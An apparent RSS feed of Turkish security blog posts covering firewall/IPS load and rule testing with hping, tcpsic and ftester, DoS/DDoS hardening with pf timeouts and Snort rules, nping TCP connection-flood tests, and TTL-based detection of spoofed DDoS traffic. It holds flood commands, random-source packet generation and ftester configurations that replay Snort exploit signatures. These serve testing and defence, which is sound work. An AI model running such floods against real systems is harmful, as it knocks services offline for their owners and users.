Quantcast
Channel: Bilgi Güvenliği AKADEMİSİ
Viewing all 331 articles
Browse latest View live

Açık kod Araçlarla Firewall/IPS Testleri-I

$
0
0
Güvenlik ürünü alırken genelde muhatap olunan kilişe laf şudur: “En iyisi bizim ürün, daha iyisi yok” . Hemen hemen tüm ürün satıcıları, danışmanları bunu söylüyorsa ortada  netleştirilmesi gereken bir durum var demektir. 
Burada satıcılar kadar alıcı pozisyonundakilere de iş düşer. Alıcı pozisyonundakiler ne istediğini bilirse, en iyi ürünü değil de kendi ortamına uyan, kendi isteklerini  karşılayan ürünü isterse çözüm konusunda önemli mesafe kat edilmiş olur.
Çözülmesi gereken bir sorun da alacağımız ürünün katalog bilgilerine ne kadar güveneceğimizdir. Mesela bir IPS ürünü kataloğunda anlık şu kadar paket analizi yapar, şu kadar trafiğe dayanabilir diyorsa bu değerler genelde laboratuvar ortamlarında özenle oluşturulmuş  trafik örnekleri  üzerinde alınmış demektir. 
Gerçek ortamda ise durum farklı olabilir. Katalog üzerinde yazan değerleri kendiniz de test etmek isterseniz  internette ticari ya da açık kodlu bir dünya yazılım bulabilirsiniz.

Bu yazıda açık kod yazılımlarla Firewall/IPS ürünlerinlerine dair bazı testler nasıl gerçekleştirilir konusunu ele alacağız.

Öncelikle neyi test edeceğimizi belirleyip sonra bu test adımlarını uygun araçlarla gerçekleştirelim.
Sınır güvenliği denilince akla gelen iki ana ürün güvenlik duvarı(firewall) ve IPS(Saldırı Engelleme Sistemi)dir. Bu sistemlere ait test edilmesi gereken konuları şöyle sıralayabiliriz.
  • Çalışan sistemin güvenliği
  • Performans Testleri
  • Kapasite Testleri
  • Kural ve işlevsellik testleri
Test adımları konusunda doğrudan alıp uygulanabilecek standart bir döküman yoktur. Bu konuda standart olarak bilinen tek döküman RFC3511(Benchmarking Methodology for Firewall Performance) dir ve pratikte pek işe yaramamaktadır. Pratik olarak kullanılabilecek güvenilir test yöntemleri için  NSS Labs ve ICSA Labs. firmalarının belgeleri kullanılabilir.

Çalışan sistemin güvenliği


Sınır güvenliği amaçlı kullanılan cihazlar bir donanım ve bu donanım üzerinde çalışan işletim sisteminden oluşur. Çoğu zaman bu işletim sistemi Linux ya da FreeBSD tabanlı olur. Her ne kadar bu işletim sistemleri sıkılaştırılmış olsalar da yine de test etmek gerekir.  Nessus kullanarak bu tip cihazlar üzerindeki bilinen açıklıklar ortaya çıkarılabilir. Eğer sistemin kendisinde bir problem yoksa diğer test adımlarına geçilebilir.

Performans ve Kapasite Testleri


Firewall ve IPS sistemleri genelde bir ağa giriş-çıkış noktasında bulunur ve ağın işlevselliği bu sistemlerin performansına bağlıdır.  Performans ve kapasite testlerinde amaç hedef sistemin ne kadar yüke dayanabildiğini ölçmektir. Bu tip testler için hping, isic ve tcprelay, tomahawk kullanılabilir.
Hping ile hedef sisteme istediğiniz boyutta istediğiniz sayıda paket gönderip sistemin durumunu gözlemleyebilirsiniz. Versiyon 3 ile birlikte gelen –flood özelliği sayesinde hping makinenize bağlı olarak saniyede 50-60 bin paket üretebilir ve bu paketler istenirse rastgele ip adreslerinden geliyormuş gibi ayarlanabilir.  Benzeri şekilde isic(Ip Stack Integrity Checker) aracını kullanarak da firewall/ips sistemlerin paket işleme kapasitesi ölçülebilir.  Isic tcp, ip , udp ve icmp protokollerine ait test bileşenleri içerir.(tcpsic, icmpsic, udpsic, isic)
# tcpsic -s rand -d 192.168.2.23, 445 -F 100 -p 1000000
Using random source IP's
Compiled against Libnet 1.1.2.1
Installing Signal Handlers.
Seeding with 3329
No Maximum traffic limiter
Using random source ports.
Bad IP Version  = 10%           IP Opts Pcnt    = 10%
Frag'd Pcnt     = 10%           Urg Pcnt        = 10%
Bad TCP Cksm    = 10%           TCP Opts Pcnt   = 10%


1000 @ 70024.3 pkts/sec and 4666.7 k/s
2000 @ 70912.6 pkts/sec and 5177.1 k/s
3000 @ 80069.5 pkts/sec and 5270.3 k/s
4000 @ 70631.9 pkts/sec and 5112.1 k/s
5000 @ 80100.4 pkts/sec and 5455.4 k/s
8000 @ 70965.2 pkts/sec and 5223.5 k/s

Test ettiğiniz cihazın ne kadar trafik yükü kaldırdığını, trafiğin içeriği değiştikçe performasının nereye gittiğini ölçmek gerçek hayattan çeşitli trafik örnekleri kaydedip bunları tekrar oluşturabilirsiniz. Bu konuda tcpreplay ve tomahawk işinizi oldukça kolaylaştıracaktır. Tcpreplay e tomahawk kaydedilmiş trafikleri tekrar oluşturmak için kullanılır. Mesela Nessus, Metasploit ya da benzeri araçları kullanarak yaptığınız testleri  tcpdump ile kaydederek sonra bu trafiği başka bir ortamda tekrar oluşturabilirsiniz.
Tomahawk ve tcpreplay kullanarak gigabit bağlantısı olan bir dizüstü bilgisayardan içerisinde zararlı trafik içeren 500Mb~  trafik üretebilirsiniz. İçerisinde çeşitli zararlı paketler içeren bu miktarda trafik çoğu sistemi test etmek için yeterli olacaktır.

Loglama kapasitesini test etme


Firewall/IPS sistemlerinde ihtiyaç duyulan özelliklerinden biri de loglamadır. Loglar genelde bir veritabanna ya da disk üzerine ikili/text olarak kaydedilir.  Eğer loglama iyi ayarlanmadıysa yukarıda bahsedilen araçlarla çok rahat bu sistemler üzerinde performans sorunları oluşturulabilir. Öyle ya saniyede 30000-40000 paketle uğraşmak ve bunları loglamaya çalışmak sistemi yoracaktır. Dolayısı ile loglama da dikkatli hareket etmek gerekir. Mesela en basitinden TCP bağlantılarında üçlü el sıkışmayı tamamlamadan paketlerin loglanmaması gerekir daha da sağlıklısı oturum kurulmadan paketlerin loglanmamasıdır.

İşlevsellik Testleri


Ftester ile Güvenlik Duvarı ve IPS Testleri


Ftester, güvenlik duvarlarının filtreleme politikası ve IDS/IPS sistemlerin  işlevselliğini test etme amaçlı açık kod bir yazılımdır. Ftester kullanılarak firewall sistemlerin filtreleme kuralları test edilebilir. Ftesterin asıl gücü IDS/IPS testlerinde ortaya çıkar. Araya koyulacak bir IPS sistemi üzerinde stateful bağlantılar oluşturarak sanki gerçek bir trafik akıyormuş gibi tüm exploit imzaları denenebilir. Bunun için ek paket kaydetmenize de gerek yok. Ftester Snort’un imzalarını kullanarak bu imzalardan IDSleri uyandıracak paketler oluşturabilir.
ftester, paket gönderme, paket loglama ve raporlama olmak üzere üç farklı scriptten oluşur.
 - ftest (istemci tarafı paket üretici )
 - ftestd (ftest tarafından gönderilen paketleri dinleyen kısım)
 - ftest.conf (ftest için yapılandırma dosyası)
 - freport (ftest ve ftestd çıktılarını  yorumlayan ve rapor üreten kısım)

Temel çalışma mantığı şu şekildedir:

Ftester Kurulumu


Test yapılacak her iki sisteme de ftester paketi aşağıdaki gibi kurulmalıdır.

Gerekli Perl modüllerinin kurulumu

# perl -MCPAN -e "install Net::RawIP"
# perl -MCPAN -e "install Net::Pcap"
# perl -MCPAN -e "install Net::PcapUtils"
# perl -MCPAN -e "install NetPacket"


# wget http://dev.inversepath.com/ftester/ftester-1.0.tar.gz
# tar -xzf ftester-1.0.tar.gz


Kurulumdan sonra test aşamasına geçilebilir. Testlerin nasıl yapılacağı ftest.conf dosyasından ayarlanır.

Firewall filtreleme kurallarının tespiti


Firewall kurallarının testi için kullanılan şablon.
# Source Address:Source Port:Destination Address:Destination Port:Flags:Protocol:Type of Service
ftest.conf dosyasını aşağıdaki gibi düzenleyerek güvenlik duvarının TCP/UDP ve icmp protokollerine ait filtreleme politikası ve stateful çalışma yapısının sağlamlığı öğrenilebilir.
192.168.2.23:1-1024:100.100.100.86:1-65535:AS:TCP:0
192.168.2.23:1-1024:100.100.100.86:1-65535:S:TCP:0
192.168.2.23:1-1024:100.100.100.86:1-65535:A:TCP:0
192.168.2.23:1-1024:100.100.100.86:1-65535::UDP:0
192.168.2.23::100.100.100.86:::ICMP:3:5


İstemci tarafında  ve sunucu tarafında aşağıdaki komutları çalıştırdıktan sonra
istemci#./ftest -f ftest.conf -v -d 0.01

sunucu# ./ftestd -i eth0 -v


Freport scripti ile her iki komutun çıktısı yorumlanır ve rapor üretilir.
#./freport ftest.log ftestd.log
Authorized packets:
-------------------
 
22 - 192.168.2.23:1025 > 100.100.100.86:22 S TCP 0
25 - 192.168.2.23:1025 > 100.100.100.86:25 S TCP 0
80 - 192.168.2.23:1025 > 100.100.100.86:80 S TCP 0
113 - 192.168.2.23:1025 > 100.100.100.86:113 S TCP 0
1027 - 192.168.2.23:80 > 100.100.100.86:1025 PA TCP 0
 
Modified packets (probably NAT):
--------------------------------
                  >>>>>>>>
  
Filtered or dropped packets:
----------------------------
 
1 - 192.168.2.23:1025 > 100.100.100.86:1 S TCP 0
2 - 192.168.2.23:1025 > 100.100.100.86:2 S TCP 0
3 - 192.168.2.23:1025 > 100.100.100.86:23 S TCP 0
...



Ftester ile IDS Testleri


Bu tip testlerde en önemli konu test edilecek cihazın performansı ve atakları yakalama başarısıdır. Normal trafikte tüm atakları engelleyen fakat trafik miktarı arttıkça atakları karçırmaya başlayan bir IPS çok makbul sayılmayacaktır. Bu sebeple IPS testleri yaparken saldırı paketleri içeren trafikle birlikte yüklü miktarda trafik aktarımı yapmak testin sonuçlarını etkileyecektir. Performans testleri için genelde kaydedilmiş paketlerin tcprelay ya da tomahawk gibi araçlarla tekrar üretilerek istenilen oranda gerçek trafik elde edilmesi ile yapılır. Ya da anlık işleyeceği paket sayısını test etmek için paket üretici yazılımlar kullanılır.
Paket üretmek ve trafik miktarını arttırmak bir nebze kolaydır fakat piyasada bulunan tüm exploitleri barındıran paket üreticileri genelde ticari ürünlerdir. Bu durumda yapılacak iş ya Metasploit, Nessus gibi araçlarla bir sistemi taryarak arada geçen trafiği kaydedip bu trafiğitcpreplay ile tekrar oluşturarak  IPS testlerinde kullanmak ya da bir IPS'in barındırdığı imzaları işleyerek bunlardan saldırı içerene paketler oluşturan yazılımlar kullanmak. İşte Ftester burada devreye giriyor ve bize Snort tarafından kullaılan tüm imzaları kullanarak atak imzası taşıyan paketler oluştrmaya olanak veriyor.
IDS/IPS testi için gerekli ftest.conf yapılandırması
ids=192.168.0.10:1025:10.1.7.1:25:S:TCP:0:VRFY
ids-conn=192.168.0.10:23:10.1.7.1:1025:PA:TCP:0:to su root
insert /usr/local/etc/snort/rules/exploit.rules 192.168.0.10 10.1.7.1 0
insert-conn /usrlocal/etc/snort/rules/bad-traffic.rules 192.168.0.10 10.1.7.1 0

İds= tanımı ile IDS/IPS sistemi üzerinden stateful olmayacak şekilde bir test yapılır. Yani sanki 25TCP portu üzerinden bir bağlantı varmış ve bu bağlantı üzerinden VRFY komutu gönderilmiş gibi. Çoğu IPS sistemi stateful çalıştığı için bu tip denemeler başarı ile yakalanacaktır. Eğer stateful bağlantılar aracılıı ile test yapmak isterseniz ids-conn tanımını kullanabilirsiniz.
insert-conn tanımı ile doğrudan Snort saldırı engelleme sisteminin imzaları kullanılabilir. Ftester buradan alacağı imzalardan saldırı paketleri üretecek ve ağa gönderecektir. Burada dikkat edilmesi gereken Ftester’in snort kurallarındaki değişken tanımlarını($HOME_NET gibi) anlamadığıdır. Kurallar üzerinde bu alanların sed komutu ile uygun ip adresleri yazılması gerekecektir.
Bunların haricinde ftester çeşitli IDS atlatma(evasion) tekniklerini kullanarak da test yapabilir. Bunun için –e parametresi kullanılmalıdır.  Bir sonraki yazıda ftester ile test örnekleri, çıktıları  ve IDS üzerinde bıraktığı logları incelemeye çalışacağız.

DoS/DDoS Saldırılarından Korunmak için Temel Öneriler

$
0
0
DOS saldırılarından korunmanın sihirbazvari bir yolu yoktur. Korunmanın en sağlam yöntemi korumaya çalıştığınız network yapısının iyi tasarlanması, iyi bilinmesi ve bu konuyla görevli çalışanların TCP/IP bilgisinin iyi derecede olmasıdır. Çoğu DOS saldırısı yukarıda sayılan bu maddelerin eksikliği sebebiyle başarılı olur. 

Bu yazıda temel seviyede koruma amaçlı ağ ve güvenlik sistemleri seviyesinde yapılması gereken ayarlardan bahsedilmiştir.

Router(Yönlendirici) Seviyesinde Koruma
Sınır koruma düzeninde ilk eleman genellikle Router’dır. Sisteminize gelen-giden tüm paketler öncelikle router’dan geçer ve arkadaki sistemlere iletilir. Dolayısıyla saldırı anında ilk etkilenecek sistemler Router’lar olur.
Kullanılan router üzerinde yapılacak bazı ayalar bilinen DOS saldırılarını engellemede, ya da en azından saldırının şiddetini düşürmede yardımcı olacaktır. Yine saldırı anında eğer gönderilen paketlere ait karekteristik bir özellik belirlenebilirse router üzerinden yazılacak ACL(Erişim Kontrol Listesi)ler ile saldırılar kolaylıkla engellenebilir.

Mesela saldırganın SYN flood yaptığını ve gönderdiği paketlerde src.port numarasının X olduğunu düşünelim(Türkiye’de yapılan dos saldırılarının çoğunluğu sabit port numarasıyla yapılır, juno kullanılarak). Router üzerinde kaynak port numarası X olan paketleri engellersek saldırıdan en az kayıpla kurtulmuş oluruz. Bu arada kaynak portunu X olarak seçen ama saldırı yapmayan kullanıcılardan gelen trafiklerde ilk aşamada bloklanacak ama normal kullanıcılardaki TCP/IP stack hemen port numarasını değiştirerek aynı isteği tekrarlayacaktır.

 Tabi bu engelleme yöntemi her saldırı için geçerli olmayabilir. C programlama bilgisi olan birisi rahatlıkla juno'nun koduyla oynayarak rastgele portlardan SYN flood yapmasını sağlayacaktır.

Yine routerlar üzerinden alınacak Netflow bilgisiyle saldırının şiddeti, karekteristiği, ne kadar sürdüğü ve nerelerden geldiği bilgileri kayıt altına alınabilir. Dış routerlarda eğer cihaz performans problemine sebep vermeyecek şekilde Netflow alımını sağlıyorsa bu özellik mutlaka kullanılmalıdır. Fakat bazı sistemler düzgün yapılandırılmadığından netflow sunucuya paket göndermeye çalışırken performans problemine sebep olabilirler. 

Güvenlik Duvarı Seviyesinde Koruma

Güvenlik duvarlarında alınabilecek önlemlerden ilki –eğer cihaz destekliyorsa- rate limiting özelliğini aktif etmektir. Rate limiting özelliğiyle belirli bir ip adresinden gelecek maksimum paket sayisi belirlenip eşik değerini aşan ip adresleri belirli süreliğine bloklanabilir. Böylece saldırı yapan sistemler ve normal sistemler ayırt edilebilir.
Bu özellik dikkatli kullanılmazsa akıllı bir saldırgan tüm internet bağlantınızı bloklayabilir.
Bunun haricinde güvenlik duvarlarında kurulumla birlikte gelen ön tanımlı bazı ayarlar değiştirilmelidir. Bu ayarlar Firewall’dan gelip-geçen paketler için ne kadarlık bir süre kaynak ayrımı yapılacağını belirtir.  

Güvenlik duvarı üzerinde ön tanımlı ayarların  değiştirilmesi

Güvenlik duvarı kısaca koruma altına aldığı sistemlere gelen paketleri karşılayan ve üzerinde yazılı politikaya göre paketlerin geçişine izin veren sistemlerdir. Günümüz güvenlik duvarları durum koruma (stateful) özelliğine sahiptir. Böylece her gelen paket için tüm güvenlik duvarı kuralları tekrar tekrar incelenmez, eğer gelen-giden paket daha önceki bir bağlantıya ait ise doğrudan geçirilir.
Bunu sağlayabilmek için güvenlik duvarları  üzerinden gelip geçen her bir paket için sistemde kaynak ayırır.(Paketin cevabını ne kadarlık süre bekleneceği vs). Ayrılan bu kaynaklar DDOS saldırısı esnasında çabucak tükenir. DDOS saldırılarına karşı daha sağlam bir güvenlik duvarı için gelip-giden paketler için tutulan zaman aşımı süreleri kısaltılabilir. 
TCP ve UDP paketleriyle ilgili oturum bilgilerinin varsayılan değerlerinin değiştirilmesi

# pfctl -st
No ALTQ support in kernel
ALTQ related functions disabled
tcp.first                   100s
tcp.opening                 100s
tcp.established           96000s
tcp.closing                  33s
tcp.finwait                  10s
tcp.closed                   20s
tcp.tsdiff                   30s
udp.first                    60s
udp.single                   30s
udp.multiple                 60s
icmp.first                   20s
icmp.error                   10s
other.first                  60s
other.single                 30s
other.multiple               60s
frag                         30s
interval                     10s
adaptive.start          1200000 states
adaptive.end            2400000 states
src.track                     0s

Yukardaki değerler Packet Filter güvenlik duvarından alınmıştır(pfctl –s timeouts), TCP bağlantıları için başlangıç paketi SYN alındıktan sonra ACK paketinin gelmesi için bağlantı 120 sn açık bırakılmaktadır. Bu değerler günümüz internet dünyası için fazla gelmektedir. Bu değerlerin 10’da biri bile normal işleyen bir ağda yeterlidir. Saldırı esnasında bu değerlerin düşürülmesi saldırının etkisini önemli oranda azaltacaktır. 
Güvenlik duvarı syncookie, synproxy özelliklerinden birine sahipse bu özelliğin aktif edilmesi Synflood saldırılarına karşı en ciddi korumayı sağlayacaktır. Syncookie, syncache ve synproxy özellikleri syn flood saldırılarında oturum kurulmamış TCP paketlerinin unucuya ulaşmasını engelleyip DDOS’dan korumuş olur. Gelen saldırının şiddetine göre syncookie koruması yapan güvenlik duvarı da devre dışı kalabilir.
Eğer sisteminiz destekliyorsa syncookie yerine synproxy özelliği daha sağlıklı bir koruma sağlayacaktır.

Saldırı Engelleme Sistemi(IPS) Seviyesinde Koruma


IPS’ler bilinen DOS/DDOS saldırılarına yönelik çeşitli saldırı imzalarını veritabanlarında barındırırlar. Her ne kadar bu saldırı tipleri çok klasik olsa da günümüzde denenmektedir. IPS’ler üzerinde ilk yapılacka iişlem DOS/DDOS saldırılarına karşı önlem olabilecek imzaların devreye alınmasıdır.

Basit bir SYNFlood önlemi


Aşağıdaki saldırı imzası shaft aracı kullanılarak yapılan DDOS salırılarını belirler. Saldırı Tespit/Engelleme sistemlerinin bu tip bilinen araçlar icin çeşitli imzaları bulunmaktadır.
alert tcp $HOME_NET any <> $EXTERNAL_NET any (msg:"DDOS shaft synflood"; flow:stateless; flags:S,12; seq:674711609; metadata:policy security-ips drop; reference:arachnids,253; reference:cve,2000-0138; classtype:attempted-dos; sid:241; rev:11;)
Alternatif bir kural (Generic Syn Flood Atağı)
alert tcp any any -> $WEB_SUNUCU 80 (msg:"Syn Flood Saldirisi"; flow: stateless; flags:S,12; threshold: type threshold, track by_src, count 100, seconds 1; classtype:attempted-recon; sid:10009;rev2;)
Ek olarak eğer destekliyorsa IPS üzerinde syncookie özelliği devreye alınmalıdır ve firewall’dakine benzer şekilde stateful bağlantılarda zamanaşımı sürelerinin iyi ayarlanması saldırıların etkisini azaltacaktır. 

Web Sunuculara Yönelik Koruma

Web sunucular şirketlerin dışa bakan yüzü olduğu için genellikle saldırıyı alan sistemlerdir. Web sunuculara yönelik çeşitli saldırılar yapılabil fakat en etkili saldırı tipleri GET flood saldırılarıdır. Bu saldırı yönteminde saldırgan web sunucunun kapasitesini zorlayarak normal kullanıcıların siteye erişip işlem yapmasını engeller. 
Bu tip durumlarda güvenlik duvarlarında uygulanan rate limiting özelliği ya da web sunucular önüne koyulacak güçlü yük dengeleyici/dağıtıcı(load balancer)cihazlar ve ters proxy sistemleri oldukça iyi koruma sağlayacaktır.
Güvenlik duvarı kullanarak http GET isteklerine limit koyulamaz. Zira http keepalive özelliği sayesinde tek bir TCP bağlantısı içerisinden yüzlerce http GET komutu gönderebilir. Burada paket içeriğine bakabilecek güvenlik duvarı/ips sistemleri kullanılmalıdır. 

Mesela Snort saldırı tespit/engelleme sistemi kullanılarak aşağıdaki kuralla 3 saniyede 50’den fazla http GET isteği gönderen ip adresleri bloklanabilmektedir.

Drop  tcp any any -> $WEB_SUNUCU  80 (msg:"HTTP GET Flood Attack  Attempt"; flow:established,to_server; content:"GET /"; detection_filter: track by_src, count 50, seconds 3; sid:1000001; rev:1;)

 İşletim sistemleri üzerinde basit koruma ayarları

Synflood saldırılarına karşı koruma amaçlı temelde iki çözüm bulunmaktadır. Bunlardan biri syn cookie diğeri de syn proxy'dir. 

Linux sistemlerde syncookie özelliğinin aktif hale getirilmesi için  /etc/sysctl.conf dosyasına  net.ipv4.tcp_syncookies = 1 eklenmeli ve sysctl –p komutu çalıştırılmalı ya da geçici olarak echo 1 > /proc/sys/net/ipv4/tcp_syncookies  komutu kullanılamalıdır. Windows için aynı özelliği devreye alacak çeşitli registry ayarları mevcuttur.

Ağınızdan DOS/DDOS yapılmasını Engelleme

Ağınızdan sahte ip adresine sahip paketlerin çıkışını engellemek için kullanılan güvenlik duvarlarındaki antispoof ya da URPF özellikleri kullanılabilir. Sahte ip kullanmadan gerçekleştirilen saldırılar için internet çıkış trafiğini izleyen basit bir IDS sisteminin olması yeterli olacaktır. IDS olarak Snort kullanılabilir.

Bilgi Güvenliği AKADEMİSİ 2013 Yılı Eğitim Takvimi

$
0
0
BGA(Bilgi Güvenliği AKADEMİSİ) tarafından 2013 yılında açılacak eğitimler ve tarihleri  açıklandı. Eğitimler, içerikleri ve detay tarihler hakkında bilgi almak için http://www.bga.com.tr/egitim-takvimi/ adresini ziyaret edebilirsiniz.

2013 yılında düzenlenecek genele açık etkinlik takvimi Ocak 2013'de açıklanacaktır.

Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri

$
0
0
TCP tabanlı DoS saldırılar genelde aşağıdaki alt başlıklarda incelenir:
  • SYN Flood
  • ACK Flood
  • FIN Flood
  • RST Flood
  • Connection flood 
tüm bu başlıklarda(son satır hariç) saldırgan sahte ip adresleri kullanarak hedef sisteme paketler gönderir. Amaç hedef sistemin kapasitesini zorlamak ve daha fazla paket alamamasını sağlamaktır.



SYN flood haric diğer TCP bayrakları kullanılarak gerçekleştirilecek flood saldırılarının güvenlik sistemleri üzerinde etkisi yok denecek kadar azdır. SYN flood saldırılarından syn cookie ve syn proxy kullanılarak rahatlıkla korunulabilmektedir.
 TCP güvenilir bir protokol olması nedeniyle internet üzerinden IP spoofinge açık değildir. Bu nedenle Hping, scapy gibi araçlar kullanılarak gerçekleştirilecek saldırılarda üçlü el sıkışma sahte ip adreslerinden tamamlanamaz ve connection flood saldırıları gerçekleştirilemez.

TCP connection flood saldırıları/testleri hedef sistemin oturum limitlerini ölçmek/görmek için kullanılabilir.

nping --tcp-connect 4.27.0.3 -p 80 --rate 5000 -c 100000000 

yukardaki komutla eş zamanlı 5000 TCP bağlantısı isteği gönderilmekte ve eğer rate limiting sistemi yoksa çok kısa sürede hedef sistemin oturum limitlerini doldurabilmektedir(SYN cookie vs olsa dahi)

Diğer yazılımlar gibi Nping de sahte ip adreslerinden Botnet simulasyonu yapamadığı için tam manasıyla bir DDoS değil, DoS olmaktadır. Yerel ağda lab ortamında gerçekleştirilecek testlerde kurban sistemin varsayılan ağ geçidi attacker sistemi olarak ayarlanabilirse istenilen türde atak için Botnet simulasyonu yapılabilir (HTTP GET/POST Flood vs). Netstress yeni sürümüyle sahte ip adreslerinden uygulama seviyesi DDoS saldırılarını yerel ağda test ortamlarında simule edebilmektedir.

DDoS Forensics:DDoS Saldırılarında Sahte IP Kullanımı Belirleme

$
0
0
Yıkım saldırıları olarak tanımlayabileceğimiz DoS/DDoS saldırılarında en temel sorunlardan birisi ip spoofing (ip sahteciliğidir). Internetin üzerinde çalıştığı TCP/IP protokolündeki bazı esneklik ve eksiklikler kullanılarak gerçekleştirilen DDoS saldırılarında saldırganın yakalanması neredeyse imkansızdır.

Linux/UNIX sunucuya sahip bir saldırgan istediği ip adresinden geliyormuş gibi DoS saldırısı gerçekleştirebilir. Hatta istenirse hedef olarak belirlenen kurumun/şirketin kendi ip adresinden geliyormuş gibi bile gösterilebilir.

Bu blog girdisinde DoS/DDoS analizinde saldırı yapan IP adreslerinin gerçek olup olmadığının anlaşılması konusuna değinilmiştir. 

Örnek:
Aşağıdaki DDoS saldırı logları test ortamında üretilmiş ve sanki tüm saldırı istekleri beyaz saray (Whitehouse.gov)’dan geliyormuş gibi gözükmektedir.

root@bt:~# tcpdump -i eth0 -tn tcp port 80tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 23.14.92.90.2861 > 50.22.202.162.80: Flags [S], seq 1539702406, win 512, length 0
IP 23.14.92.90.2862 > 50.22.202.162.80: Flags [S], seq 664924080, win 512, length 0
IP 23.14.92.90.2863 > 50.22.202.162.80: Flags [S], seq 1884477834, win 512, length 0
IP 23.14.92.90.2864 > 50.22.202.162.80: Flags [S], seq 1637761741, win 512, length 0
IP 23.14.92.90.2865 > 50.22.202.162.80: Flags [S], seq 1371834373, win 512, length 0

Burada eğer saldırı iyi analiz edilmezse yanlış kişi veya kurumlar gereksiz yere suçlanabilir.
Saldırılarda kullanılan IP adreslerinin gerçekten o kişi/kurumdan mı geliyor yoksa başkaları tarafından sahte olarak üretilip üretilmediğini belirlemek çok zordur. Protokol başlık bilgilerini detaylı analiz ederek bu konuda bazı ipuçları yakalanabilir. 

Bu ipuçlarından en kolayı ve ilki IP başlık bilgisindeki TTL (Time To Live) alanıdır. 

IP başlığındaki TTL alanı IP paketinin kaç adet yönlendirici (OSI katmanına göre >3 katmanda yönlendirme yapan herhangi bir cihaz da olabilir) dolaştığını belirtir. TTL değerleri işletim sistemlerine göre farklılık gösterse de genellikle 64, 128 veya 256 gibi değerlerden başlatılır. DDoS saldırı analizinde kaydedilen paketler incelendiğinde TTL değerlerine bakılarak paketlerin gerçekten ilgili kaynaktan gelip gelmediği konusunda yorum yapılabilir.[1]

Aşağıdaki paketlere (tcpdump çıktısı ) bakarak paketin başlangıç TTL’inin 64 olduğunu ve bize ulaşana kadar toplamda 7 cihaztan geçtiğini tahmin edebiliriz.
 

# tcpdump -i eth0 tcp port 80 -v -n
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:52:21.486405 IP (tos 0x0, ttl 57, id 56984, offset 0, flags [none], proto TCP (6), length 40)
    23.14.92.27.2839 > 50.22.202.162.80: Flags [S], cksum 0x0ce7 (correct), seq 1877259047, win 512, length 0
15:52:22.486712 IP (tos 0x0, ttl 57, id 46513, offset 0, flags [none], proto TCP (6), length 40)
    23.14.92.27.2840 > 50.22.202.162.80: Flags [S], cksum 0x8ca2 (correct), seq 910508081, win 512, length 0

Bu bilgileri kullanarak DDoS saldırılarında kaynak olarak kullanılan IP adreslerinin gerçekten gözüken IP adresinden mi yoksa başkaları tarafından spoof edilerek gönderilen adresler mi olduğu belirlenebilir.

Örnek Analiz:

Aşağıdaki çıktılara göre saldırıda kullanılan ip adreslerinin gerçek ya da sahte olma ihtimali nedir?
# tcpdump -i eth0 tcp port 80 -v -n
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:57:40.356491 IP ( ttl 58, id 42475, offset 0, flags [none], proto TCP (6), length 40)
 15.118.77.4.1593 > 50.22.202.162.80: Flags [S], , seq 317707819, win 512, length 0
15:57:41.356872 IP  ttl
58, id 40125, offset 0, flags [none], proto TCP (6), length 40)
    91.250.206.34.1594 > 50.22.202.162.80: Flags [S], cksum 0x9f0b (correct), seq 820931198, win 512, length 0
15:57:42.357198 IP (tos 0x0, ttl
58, id 36059, offset 0, flags [none], proto TCP (6), length 40)
    151.31.27.199.1595 > 50.22.202.162.80: Flags [S], cksum 0x208a (correct), seq 1444135933, win 512, length 0
15:57:43.357543 IP (tos 0x0, ttl
58, id 60185, offset 0, flags [none], proto TCP (6), length 40)
    24.162.11.171.1596 > 50.22.202.162.80: Flags [S], cksum 0x13e5 (correct), seq 750695986, win 512, length 0
15:57:44.358025 IP (tos 0x0, ttl
58, id 41019, offset 0, flags [none], proto TCP (6), length 40)
    250.250.205.165.1597 > 50.22.202.162.80: Flags [S], cksum 0x2764 (correct), seq 440922370, win 512, length 0
15:57:45.358314 IP (tos 0x0, ttl
58, id 1793, offset 0, flags [none], proto TCP (6), length 40)
    144.104.160.222.1598 > 50.22.202.162.80: Flags [S], cksum 0x4725 (correct), seq 507576874, win 512, length 0
15:57:46.358612 IP (tos 0x0, ttl
58, id 6020, offset 0, flags [none], proto TCP (6), length 40)
    19.199.201.237.1599 > 50.22.202.162.80: Flags [S], cksum 0xf8b4 (correct), seq 1523793720, win 512, length 0
15:57:47.358930 IP (tos 0x0, ttl
58, id 5398, offset 0, flags [none], proto TCP (6), length 40)
2.16.217.123.1599 > 50.22.202.162.80: Flags [S], cksum 0xf8b4 (correct), seq 1523793720, win 512, length 015: ( ttl 58, id 5398, offset 0, flags [none], proto TCP (6), length 40)
Yukarıdaki çıktı incelendiğinde rastgele IP adreslerinden TCP SYN paketlerinin 80. porta gönderildiği gözükmektedir.(SYN flood saldırısından alınmış örnek). Burada dikkat çeken bir husus gönderilen tüm paketlerde TTL değerinin 58 olmasıdır, farklı farklı IP Adreslerinden gelen paketlerin  TTL değerlerinin aynı olması pek olası değildir. Örnek olması açısından en son satırdaki IP adresi  2.16.217.123 inceleyelim.

İlk adım olarak bu IP adresine bir adet paket gönderelim ve cevaptaki TTL değerini inceleyelim.
# hping3 -p 80 -S 2.16.217.123 -c 1
HPING 2.16.217.123 (eth0 2.16.217.123): S set, 40 headers + 0 data bytes
len=46 ip=2.16.217.123 ttl=53 DF id=0 sport=80 flags=SA seq=0 win=14600 rtt=53.1 ms

--- 2.16.217.123 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss

Gönderilen bu isteğin cevapları incelenirse dönen pakete ait TTL değerinin 53 olduğu görülebilir. Oysa saldırı paketlerinde bu ip adresinden gelen paketlere ait TTL değerinin 58 olduğu gözükmekteydi. Bu da bize ilgili SYN flood saldırısında kullanılan IP adreslerinin gerçek olmadığını söylemektedir.

# tcpdump -n -t tcp port 80 -v
IP (tos 0x0, ttl 64, id 25701, offset 0, flags [none], proto TCP (6), length 40)
    85.95.238.172.2651 > 2.16.217.123.80: Flags [S], cksum 0x65ca (correct), seq 16

IP (ttl 53, id 0, offset 0, flags [DF], proto TCP (6), )
    2.16.217.123.80 > 85.95.238.172.2651: Flags [S.], cksum 0x1c1d (correct), seq 2868979279, ack 1695933000, win 14600, options [mss 1460], length
Tabi buradaki analiz yöntemi ileri seviye teknik bilgiye sahip saldırganlar tarafından rahatlıkla aşılabilse de bugüne kadar bu yöntemi şaşırtacak bir saldırı analiziyle karşılaşmadık.

